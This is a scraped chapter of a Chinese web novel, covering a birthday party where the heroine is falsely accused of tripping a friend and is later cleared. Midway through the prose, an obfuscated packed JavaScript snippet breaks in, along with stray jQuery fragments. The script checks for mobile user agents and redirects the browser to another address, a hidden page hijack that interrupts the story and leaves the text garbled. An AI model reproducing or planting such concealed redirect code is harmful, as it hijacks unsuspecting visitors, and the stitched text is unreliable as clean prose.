再度听到这个名字,代知芽还是抱着好奇的心情看了眼,周以安不愧能被钟意看上,眉眼柔和,看着就是一副很平易近人的模样。
他像是第一次参加这种派对,显得有点拘束稚嫩,钟意在代知芽耳边悄悄咬耳朵:“还没告诉你,我最近比较在意他。”
含蓄的说法,代知芽听懂了,于是她很识趣地周以安过来打了个招呼就借口离开,在屋外碰见了徐嘉业和许从吟。
两人看上去是一起来的,她好奇:“你们怎么一起来了?”
两人闻言肩膀对肩膀碰了一下,许从吟说:“当然是为过两天旅游做攻略啊,你不知道我们有多认真,早早就约好去咖啡店查路线了。”
徐嘉业附和:“对啊,钟意过生日居然只叫了她没叫我,太过分了,好歹我也是她同班同学吧,我一定要去问清楚她是什么意思!”
两人大大方方的态度让代知芽想到了一个人孤守在家的游令一,顿时有点愧疚,不过她赶忙拉住徐嘉业:“你先别过去,人家正在忙呢,等会再说。”
“我刚才跟钟意说了旅游的事,她也有点感兴趣,想一起去,你们同意吗?”
许从吟朗声说好,越多人越热闹。
徐嘉业却是望着钟意的方向瞅,“咦,阿令也来了吗?”
代知芽不明所以,顺着他的方向看,“啊,那是隔壁班新来的转学生,叫周以安,你怎么会认成游令一。”
话说出口,她还是仔细对比了一下,发现还真有点像。
徐嘉业已经掏出手机想跟游令一分享这件事,他嘴上说:“阿令应该也没被邀请,代姐,你怎么不叫他一起来啊。”
代知芽倒吸一口冷气:“你说什么呢,我怎么会叫他一起来。”
徐嘉业:“我们五个不已经是铁五角了么,同班同学生日把阿令撇下不好吧。”
代知芽倒还没想到这一层,她们的关系好像不需要遮遮掩掩,好吧,看来是她太敏感了。
好在徐嘉业正在和游令一发信息,没有追着她要回答。
[阿令,我现在正在钟意的生日派对,看见了个背影跟你很像的人,代姐还说不像呢,你要不要来看看?]
对面回复地很快:[她认识那人?那人是谁?]
[好像是隔壁班新来的转学生,代姐知道他的名字呢,不知道熟不熟。]
对面言简意赅:[地址发我。]
三人闲聊的空隙中向芋秋也姗姗来迟,她似乎来得很匆忙,哼哧哼哧地喘着,身上是普通的短袖长裤。
许从吟惊讶:“我的天哪,你是刚帮后妈做完家务的灰姑娘吗?连身裙子也没有。”
徐嘉业慌忙想制住她那口无遮拦的嘴。
好在好脾气的向芋秋知道她没有恶意,磕磕绊绊解释说:“我今天跟宋珏换了班,所以时间上有点不确定,不过好在准点下班了,对了,我不知道要穿得这么隆重……”
这不能怪她,她也不知道现实中有钱人家在别墅过生日竟然真的穿礼裙西装之类的。
代知芽心想这是小说世界,做什么都不出奇。
“我去问问钟意有没有多的裙子,随便一件都行。”代知芽提议。
钟意邀请了很多人,本校的外校的都有,鱼龙混杂,向芋秋很容易被当做众矢之的。
向芋秋有点窘迫:“这真的可以吗,太不好意思了吧,要不然我还是回去算了。”
许从吟抓住她:“别啊,来都来了,你都准备礼物了,钟意不是那种小气的人,放心吧。”
于是代知芽和许从吟两人干脆架着她去找钟意。
徐嘉业对着她们的背影比了个大拇指:“真朋友。”
钟意上下扫了眼向芋秋,欣然同意,“当然可以,我的房间在二楼的右边第三个,拉开粉色的那个柜子,里面都是裙子,随便选吧。”
顿了顿又说,“虽然你的脸素面朝天也很好看,但是还是化点妆吧,对了,不准比我好看,今天我才是主角。”
代知芽和许从吟会心一笑,又哼哧哼哧架着向芋秋上楼,期间向芋秋不禁发出感叹:“钟意家真有钱啊,好多房间。”
许从吟正在帮她打底,闻言翻了个白眼:“土包子,等以后我生日,你再把这些话留到那时候说。”
代知芽正在帮她挑选裙子,听完后心想着别羡慕,你以后也会拥有这么多这样的房产的。
许从吟化着化着感慨道:“怎么觉得我们两个这么像小说中女主的好朋友呢,现在的情节就是帮助女主大变身,有没有?”
向芋秋脸红了:“我没有女主的颜值啦。”
然后被两人齐齐啧了一声。
“你知不知道你有时候说话真的挺让人火大的。”许从吟说。
向芋秋神色认真:“可是我说的是真的,我觉得我们每个人都很漂亮,各有各的美。”
代知芽满意地点头:“算你会说话。”
中途许从吟接了个电话,说是她的另外一个朋友来了,想见她,反正妆已经化得差不多,只剩礼裙的腰带没扣上,许从吟说她先走一步。
两人大手一挥让她走了,代知芽给向芋秋挑了一件及地白色长裙,腰间镶有小钻,很符合向芋秋的气质,但是又不会太喧宾夺主。
一切准备完后距离正式上蛋糕的时间也不远了,众人纷纷开始往屋内聚集,灯光也变成了有点暗的暖光,此时两人下楼还是引起一阵瞩目,有人被惊艳地忍不住哇了出声。
代知芽一阵尴尬之间想,还真应了许从吟的话,现在还真像女主惊艳登场后艳煞众人的场景。
两人加快了脚步,但是慌乱间,不知道是谁拌到了谁,向芋秋突然往前摔了下去。
“啊——”
事情发生的突然,时间仿佛禁止了几秒钟后场面才开始混乱,向芋秋摔得不轻,人趴在楼梯下动弹不得,有人想扶起她但是又被不知道谁呵斥:“不能随便乱动她,不然可能会造成二次伤害。”
一时间人群骚动地更厉害,代知芽吓得脸都白了,她跪到向芋秋身边问她怎么样,然后又慌忙地找手机。
向芋秋疼得说不出话,代知芽想起身叫人时,一道高大的身影横插进来,此人很急迫,俯身问向芋秋的状态如何,能不能动,在得到向芋秋说只是腿很痛的回答后,才小心翼翼地将她翻转,然后动作很轻地将她公主抱起。
众人唏嘘。
顾怀钧神情是前所未有的冷,临走前,他恶狠狠地剜了代知芽一眼,很显然,他把她当做是陷害向芋秋的元凶了。
随着他这一遭,众人纷纷像是发酵的霉菌,看她的眼神渐渐带着不怀好意。
“我就说吗,好好走着怎么会突然摔倒。”
“一看就是代知芽嫉妒向芋秋抢去了她的风头,故意绊倒她的。”
“我早就知道代知芽是这种人了,你看前段时间她装好姐妹装了这么久,今天终于暴露了吧。”
“怎么会有这么心机的人。”
此时灯光暗淡,她却觉得人们眼中的恨意仿佛要将她吞噬,她很想大声反驳她没有。她没有嫉妒向芋秋,更没有故意绊倒她。
可是澄清的话就像是一根鱼刺卡在她的喉咙,想吐吐不出来,想咽又直直地戳着她的喉管。
她明白在这里怎么喊都是没有用的,大家对她的坏印象已经深刻入骨,即使她这段时间再怎么努力也分毫没有改变他们的想法。
脚上突然间传来一阵阵刺痛,她才想起自己刚才也有扭到,但是当时向芋秋躺在地上的场景使她忽略了疼痛,径直先向她走去。
质疑声、谩骂声愈来愈大,她却像是被抽干了全身的力气,开不了口,站不起来。
这时,客厅的灯突然亮起,她的狼狈无处遁形,一道吼声响起:“都给我让开。”
是许从吟的声音,她抬头却看见的是游令一,他换了身衣服,西装革履,头上却戴着一顶与这身穿搭格格不入的帽子。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237104|166154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
游令一现在浑身散发着戾气,但是面对她,他尽量柔和。
“觉得怎么样?你有没有扭到”声音温润如平常。
她却听得想哭。
代知芽点点头,却只让他扶她站起来。
许从吟和徐嘉业还有钟意紧随其后,她们脸上尽是担忧的神情。
许从吟焦急:“怎么样?你有没有事?”
钟意也问:“早知道我就不关大灯了,向芋秋现在在客房里,家庭医生今天在家。”
徐嘉业更是夸张地拿着一对拐杖,“向芋秋说你好像也摔到了,这是钟意她爸之前用的拐杖,我看觉得有用就拿来了。”
代知芽破涕为笑,觉得自己笑点低得离谱,这也能笑出来。
人群中的声音减少了一点,但还是不乏猜忌:
“这群人好冷漠,明明是向芋秋更需要关心吧。”
“陷害别人的人居然还能面不改色地站在这。”
代知芽闻声眼珠一转,盯着那人,缓声说:“你刚才说什么?再说一次?”
声音如寒冬呼啸的风一样冷冽。
那人冷不丁被点名,有点挂不住脸,脸转瞬间变红了,他喏嚅道:“难道不是吗……”
代知芽缓慢转头扫视了一圈现场的人,开口:“请问你们有谁亲眼看见了是我绊倒向芋秋的?”
现场无一应声。
“怎么,敢私底下嚼舌根却不敢当着我的面说吗?”
“这么爱阴谋论你们怎么不去玩找犯人过家家游戏?”
“还是就爱看这种两个女生为了一个男的互撕头花明里暗里陷害对方的情节?”
“脑补了一场爱情大戏真是爽死你们了是吧?”
一通输出后代知芽只觉得心中畅快至极,她只想好好的帮朋友过个生日,为什么要被卷入这些阴谋论。
最后她警告:“以后谁再恶意揣测我和向芋秋的话——”
话到这里她却有些卡壳,她能怎么办?嘴长在他们自己身上,难不成还能一个个把他们嘴缝上么?
狠话放到一半代知芽却不知道该如何接下去,她一下尬在那,场面一时间有点呆滞。
这时一道弱弱的声音从人群外响起:“就别吃今晚的蛋糕了,怎么样?”
众人回头,居然是向芋秋。
她坐在一张轮椅上,脸色虽然有些发白,但至少比刚才一动不能动的状态好多了,顾怀钧在后面推着她,嘴唇紧抿,似乎是极其不耐。
向芋秋看不见他的表情,继续说道:“刚才我是自己绊倒裙子摔倒的,本来我今天来穿得很惨不忍睹,是代知芽帮我向钟意借了裙子穿,还特意叫许从吟帮我化妆。”
“代知芽并没有绊倒我。”她声音突然变大。
事故中的两人都接连澄清,众人也不是不识趣的,再说了今天本来应该是欢乐的一天。
钟意和徐嘉业彼此使了个眼神,然后钟意开始放起音乐,徐嘉业不知道从哪里掏出来一个话筒,开麦道:“好了好了,小插曲结束,让我们来陷入狂欢吧!”
激昂高亢的音乐声响起,大家很快被带入其中。
代知芽几人逃往小花园中,这里此时开着温馨的小灯。
代知芽是被游令一一手搭着他的肩膀扯过去的,虽然游令一很想一把抱起她,还方便,但是她不允许。
向芋秋关切地问她怎么样,代知芽强忍着说没事。
许从吟在一旁摇头:“我的两个祖宗,我就走了一会你们怎么就发生这样的事情。”
向芋秋语气平平,对身后的人说:“顾同学,你难道不应该给代知芽道个歉吗?如果不是你那一个眼神,代知芽不至于会被误会。”
确实,摔倒的第一时间大家还没有往这方面想,毕竟谁会在众目睽睽之下就随意害人,但是顾怀钧出现后就完全变了,瞬间就把大家引导向两女争一男的方向上。
顾怀钧还是紧抿嘴唇,不发一言。